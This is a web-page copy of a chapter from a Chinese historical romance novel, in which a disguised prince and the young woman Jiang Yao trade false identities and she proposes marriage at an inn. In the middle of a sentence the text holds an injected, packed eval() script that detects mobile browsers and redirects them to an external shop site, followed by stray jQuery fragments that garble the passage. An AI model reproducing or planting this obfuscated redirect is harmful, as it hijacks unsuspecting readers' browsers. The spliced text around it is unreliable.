“不若姑娘与我同往公廨,我与姑娘细说?”
萧承照回过神,笑起来眼睛微眯,狭长的眼型弯出恰到好处的弧度,执扇的手背到身后,实则将扇骨紧紧捏住,心中忐忑她会不会就此作罢。
他站在坡下,身前那两颗尚未扣好的前襟在风中轻轻翻动,姜窈只懊恼方才没有先提醒他这两颗扣子。
实在招人。
她一时看得呆了,后知后觉地点头,快步跟上前面几人。
宁言秋倒是怀疑自己的耳朵刚才都听到了什么,一面走一面往霍雨的方向挪,企图让她给自己解释一下,结果被霍雨瞪了一眼,又老老实实回到了萧承照身后。
下山来天色渐晚,姜窈还是拜别众人先行前往驿馆,自己虽然对那紫衣男子颇为好奇,但是相比今晚无处歇脚,那还是先去抢间上房为妙。
“霍大人辛苦,容我先去填饱肚子。”宁言秋步至公堂门外,豫州府的烫金牌匾高高挂起,宁言秋只觉得刺眼,马上调转回去,准备开溜。
“去哪儿?”折扇不偏不倚,敲在他肩上,身形一顿,场面一度有些尴尬。
“这不是替公子办事嘛,”他抬手将那扇柄推开,凑过去压低声音解释,
“你不是要我盯着姜窈吗,万一趁着这会儿她跑了怎么办?”
萧承照故作恍然大悟般的挑了挑眉,似是认同他的观点,下一秒也压低声音凑过来,
“你怕什么,就这州府的大牢怎么关得住你?想当年……”
“诶,”宁言秋出言制止,朝后退了两步,“不讲不讲。”
而后乖乖地跟着几人灰溜溜进了牢房无话。
狱卒清点了秋风寨上下几十号人,为首的债主就叫邱枫。
萧承照远远看了眼牢里的人,为首的那一个格外扎眼,一众小弟簇拥着,即使在这样的场合,依旧能保持群体中的地位不倒,想来不是冲动之辈。
“霍雨,人先别审。饿上两日,挑两个弱的单独审,记得看看那个邱枫什么反应。”
“是。”
刚想说麒麟卫的人分散进山布防,清扫隐蔽处,避免漏网之鱼,回头却又找不见宁言秋了。
站在门边的麒麟卫兵士回过神来,手里就多了张图纸,正不知如何处置,就见萧承照的眼神投过来,忙双手奉上。
果然,宁言秋这厮丢下地形图就跑没影了。
萧承照将图递给霍雨,原想让宁言秋领人进山,如今也只好一并交给霍雨。
“近几日我都住在驿馆,一应情况若麒麟卫不便现身,就由宁言秋转交与我。”
“遵命,属下担心他会否篡改私藏奏报?”霍雨躬身,依旧是不苟言笑,虽然在京中时,就知晓太子殿下与此人联系甚密,可说到底对于宁言秋这样的江湖人,她并不放心。
“不是没可能,他要是敢乱来,你就用你那把玄昼弓,把他射成筛子,不用手下留情。”
萧承照扔下一句不着调的,扬长而去。
————
日头西斜,姜窈合上房门,到楼下饮食。
刚坐下想点碗鸡蛋面,却见到前面那一桌熟悉的背影,那背影正旁若无人地埋头扒着面条。
姜窈好奇走近,确实是寨子里见到的那个官差。
“大人也爱吃鸡蛋面啊?”
宁言秋正专心吸溜着面条,突然听到有人喊他“大人”,猛地抬头对上姜窈那好奇而不失尴尬的脸,顿时一口蛋花在喉咙一哽,呛得差点把面条喷出来。
以前哪有这种日子,都是“大人”来抓他,今天自己倒是摇身一变成了“大人”。
再者说,自己算是和监视对象打了个照面,此时除了挤出一丝讪笑也不知道说什么。
姜窈没有要走的意思,顺势在他一旁坐下,
“公廨的伙食不好吗,大人还要来这里加餐?”
牢里伙食怎么样他倒可以点评一二,公廨的伙食他也没吃过,听这话又是一顿,咀嚼了一半的面条想要往下生咽,哽得他泪花子在眼里打转,
“姑娘,其实我不是公廨里的官差。我,我就是,就是……”
“我知道了,你一定是和漂亮眼睛一起被掳上山寨的吧。那位紫衣公子周身气质与山寨格格不入,怎么会是土匪,想来是清白人家的公子,若大家知道他被土匪掳上山要做压寨郎君,心里一定不好受。”姜窈看着他,想到萧承照未扣的前襟,无措的神情,不由展开了联想。
宁言秋又是一呛,半天才缓过来,将面嗦干净,不死心地多问了一句,
“为什么那伙土匪不是要把我绑去做压寨郎君,偏是他?”
姜窈笑而不语,尴尬里带着歉意,眼睛上上下下又打量了他好几遍,最后还是什么都没说。
“罢了,我确实是随他一同上的山。”宁言秋自讨没趣,瘪了瘪嘴,索性顺着她的猜想认了下来。
“诶,你可知道那漂亮眼睛姓甚名谁,家住何处……”姜窈见他不追究,身体前倾,凑近些压低声音趁机打探。
“他,他……”
萧承照的名字几乎脱口而出,想到说真名就要露馅儿,宁言秋磕巴了几秒,还是不敢造次。正在犹豫的时刻,宁言秋紧皱的眉头有一瞬间的舒展,看向姜窈身后走来的身影。
“姜姑娘,不是约好了我会同你细说,怎么先问起旁人来了。”紫衣的声音在两人中间响起。
姜窈与宁言秋本身凑得近,萧承照从中横插一脚,合扇的功夫,将宁言秋连同他身前那碗没喝完的面汤,推到了一旁。
这会儿,他身前的衣襟倒是整理得当。
姜窈虽感突然,可当对上他的眼睛,便是什么都问不出口。
他自顾自地开口,
“上午姑娘问的,在下姓秦,单名一个照字,家住信州,三代经商,有个婚约。”
“秦照。”姜窈在口中轻轻复述着他的名字,眼中却是落寞。
他竟已有婚约。
“嗯。”他声音很轻,答了一声,“那姑娘呢?”
“我,我叫姜窈,家住燕京城郊,父母是替大户人家管帐房的,也做些小买卖,上面还有个姐姐。”
宁言秋只觉得今儿这面汤滑腻的很,喝进去直想咳嗽,被萧承照死死踩住脚,憋得面红耳赤。
他索性扭头又要了一碗,才能勉强咳几声。
皇子改姓,户部尚书变成了帐房先生。
这两个人嘴里一句真话都没有。
“哦?那姜姑娘此番怎么会独自来豫州?”
“我自小在净明山学艺,此番也是要回去找我师父。”
显然,其余两人都没料到她会在这件事上坦诚。
“那你呢,怎么会来豫州?”她紧紧追问。
“与我有婚约的姑娘瞧不上我,父亲就放我离家游历,好歹涨些阅历,省得在家中碍眼。”
“怎么会?”姜窈的声音大了许多,有些激动的否认了他的说法。
“这也是没办法的事,大抵是不喜欢我这只眼睛吧,在人群里像怪物。”
萧承照说罢抬手抚上左眼,习惯性的遮挡,姜窈和上午一样,拉住他的手腕,语气坚定道,
“漂亮眼睛,窈窈喜欢。”
两人眼神中的氛围再次升腾起旖旎,姜窈咬咬唇,当即做了个决定,
“若是家中婚约你亦不喜,公子以为我如何?”
“什么?”
“我此行正好去信州净明山,你若愿意同行返乡,退了婚就随我入京,做姜家的女婿,可好?”
姜窈没忘记离京前与阿姊说过的话,她确实是认真思量过。
萧承照愣神片刻,笑而不语,对上姜窈期待的目光,
“姜姑娘很好,只是今日之事在下恐怕有几日抽不开身,少不得听州府传唤,你我之事便待回了信州再议可好?”
姜窈大喜,连连点头,不过几日,她等得。
“拉钩?”
“嗯,拉钩。”两人的小指缠绕,契约即成。
宁言秋往桌角挪了挪,筷子卷起面条的速度更快了。
夜里来找霍雨拿卷宗,霍雨见他步子蹒跚不少,不明所以,
“驿馆的鸡蛋面这么好吃,宁公子这是吃了多少?”
宁言秋一手捧着胃,一手扶着墙,生无可恋地止住她的话头,
“不讲不讲,”他接过奏报简书,“再也不吃鸡蛋面了。”
只是上次闻着姜窈半夜吃那碗鸡蛋面,勾起了自己的馋虫,没成想今日为了躲清闲,连吃了三大碗。
他揣好简书,扭头往回走,霍雨看他这样子,还是叫住他,
“公子说了,你若是对简书做手脚,要我直接把你射成筛子。”原本是威胁,不过看他这样子确实可怜兮兮的。
宁言秋咬牙切齿地笑笑,摇摇脑袋,没有回头,这话萧承照说得出口就做得到,他有些破罐子破摔地回了一句,
“来,你现在就给我来一箭,保准一会儿这遍地淌的都是蛋花汤。”
————
原本驿馆还有空房,只是宁言秋被赶着去公廨拿简书,回来时已经客满。
他与往常一样攀上树杈高处,巡视一周,厚着脸皮翻进姜窈隔壁的上房。
萧承照这一间不比姜窈那间,房中并无多余的软榻,只得一张床。
他从后窗翻进来时,萧承照正在照例整理床铺,见他进来,眼都没抬一下,只丢了床被子到地上,示意他将就睡地上。
“德性,”宁言秋不情不愿地将被子半折,想到自己后半夜还得探查,也不再多贫嘴,总比睡外头树上好。
地板上凉飕飕的,宁言秋今日面食过量,睡得沉些,做了个噩梦。
梦里,姜窈端着碗鸡蛋面就朝他走过来,凶神恶煞的非要给他灌下去。
他一路逃,那碗鸡蛋面就一路追。
梦里脚力不济,临了,萧承照出现在身后,剑刃贴着他的脖颈,阴恻恻地在他耳边低语,
“敢违逆窈窈的意思,立时抓你下狱。”
惊得他一身冷汗,猛地从地板上翻起,幸而胃中消化还算良好,没有继续囤积鸡蛋面。
他警惕地环顾四周,看到萧承照确实在床铺上躺着没动,这才心有余悸地摸了摸脖子。
他晃了晃混沌的脑子,爬上窗台,轻车熟路地跃上驿馆后方的树。
他四处望着,忽见一只婴勺鹊从月
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642380|205796||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下滑翔而过,忙从怀里取出黄粉抹在手中,立于树叶较稀疏的高处,举起那只抹满黄粉的手,等着婴勺停在手心。
婴勺鹊便是苦海舟豢养的送信鸟,所有不系舟的情报传递都依赖于这种身形娇小,飞行迅速又隐蔽的鸟。
————
“两个消息,听不听?”宁言秋斜靠在驿馆外的红柱边,戏谑地看着正襟危坐在马车里的人。
萧承照侧目,却没看他,视线直直望向馆内,他在等姜窈。
昨日霍雨传了府尹令,今日姜窈须同秦照一道旁听审讯,协助辨别那群座山雕的供词。
原本与秦照几人约了暂缓几日,等此间事了,便结伴同往信州去,旁听审讯却是头一遭,指不定有什么血腥场面。
姜窈盘算着不想平白多事,耐不住秦照来请,糊里糊涂地竟答应下来。
一面往楼下走,姜窈还在懊恼。
美色误人,美色误人呐。
宁言秋凹着造型却等不到车中人买账,叹口气,认命似的撇了嘴里的狗尾巴草,靠近马车。
“前些日子你要我查悬赏令,我顺着五皇子身边去查孟章,他似乎一直与净明山有书信往来,这次离京根据沿路的不系舟汇总,他似乎绕了不少弯路,你说他会去哪儿?”
萧承照凑近些,阳光照到他的脸上,不自觉地皱起眉。
“净明山?”显然这个答案出乎他的意料。
“可不是嘛,你说他与净明山又有什么联系,书信既然未断,何必特地上山?”宁言秋挑挑眉,附和道。
“接着查。”萧承照显然对这个结果并不满意,扇柄往回收就要降下侧帘,宁言秋眼疾手快,拦住了他。
“经费。”
萧承照的手伸出马车外,照着他的头就赏了记脆的,宁言秋只觉得头顶一声嗡响,就像夏日里瓜贩子手里头敲西瓜,听声响还是个熟透的大西瓜。
“另一个消息呢,听完再考虑还要不要你来查。和宫里有关的消息,麒麟卫未必比苦海舟慢。”
面对上位者明晃晃的敲诈,宁言秋也不能发作,只得接下去,
“秋风寨原本要劫的那批货,是下个月要运入京城用于京城改制的木材。”
帘内没了声音,半晌丢出一句,“老地方拿钱,动作快些。”
“得嘞。”宁言秋二话不说,扭头就走。
木材?只是一批木材劫来有何用,这一群土匪是从哪里得到的确切消息,州府当初费尽心思要呈到御前的奏报,难道说的就是这一批木材的安危?
马车的侧帘重新降下,那只在阳光下呈现出蓝绿色的瞳孔,随着马车内光线的阻挡,渐渐变回了深灰,他尚且没有思路,只是心中无端联想到一年多前的那桩强拆的丑事。
京兆改制原本是萧衡欲施恩于百姓,原本试点的区域一切进展顺利,直到强拆的事一出,一时间民怨沸腾,言官一味说着是刁民罔顾圣恩,只有萧承照当即出宫,来到流离失所的百姓面前。
那时候,和钱钧站在一起的,是户部尚书姜伯言。钱老尚书作为直接负责人自然是脸色铁青,幸好是屈明朗和姜伯言一人扶一边,老头子才没有背过气去。
萧承照想起,那天午后自己斥责钱钧之后,不到一炷香的时间,户部便呈上了安抚流民、改制整顿的具体对策。下到民意上至君信,思虑周全。
强拆的事,就像一团突然爆出的火,可这团火来得太快,去得也太快。
彼时或许朝野上下都没有细想过整件事情的前因后果,更多地只是庆幸,庆幸这把火终究没有烧起来,也没有烧到谁的乌纱帽,最终的结果只不过是钱钧上书乞骸骨,告老还乡。明眼人都看着,这件事到此为止。
说到底这是工部的烂摊子,户部因何介入地这么深?
————
姜窈踌躇许久,终于还是来到门前,彼时只有秦照等在马车边,望着她浅笑。
今日他着一身浅青色渐变圆领袍,外绣红地花鸟纹,长身玉立,右手执扇,扇尖在左手掌中轻敲。
姜窈呆愣了一瞬,视线移到他的脸上,最吸引人的还是他的眼睛,光线越好,那眼睛愈美。
“姜姑娘,请。”
他微微躬身,抬手助她借力登车,随后轻盈一跃落座在她对面。
一路无话,姜窈只觉得自己像是老鼠掉进米缸里,有此良机大饱眼福,不可辜负。
萧承照被她盯得有些不好意思,时不时将目光移开。
姜窈只恨自己搜索枯肠却找不到什么话题,察觉到对面的不自在,欣赏片刻后,也只得低下头百无聊赖地默数自己百迭裙的细褶。
好容易捱到公廨,姜窈看着黑漆漆的牢门,心里打起了退堂鼓,下意识往他身后瑟缩。
州府中师爷迎出门外,面色颇为和气,见他二人同乘而来,招呼道,
“未待两位休息妥帖,便几番叨扰,实是案情牵连颇多,不由耽搁,还望夫人见谅。”
师爷说罢,毕恭毕敬地朝着秦照身后的人拱手。
姜窈一时语塞,尴尬地左右张望一番,左右实在没有除她之外的女眷,最后试探着指了指自己,
“夫人,是说我吗?”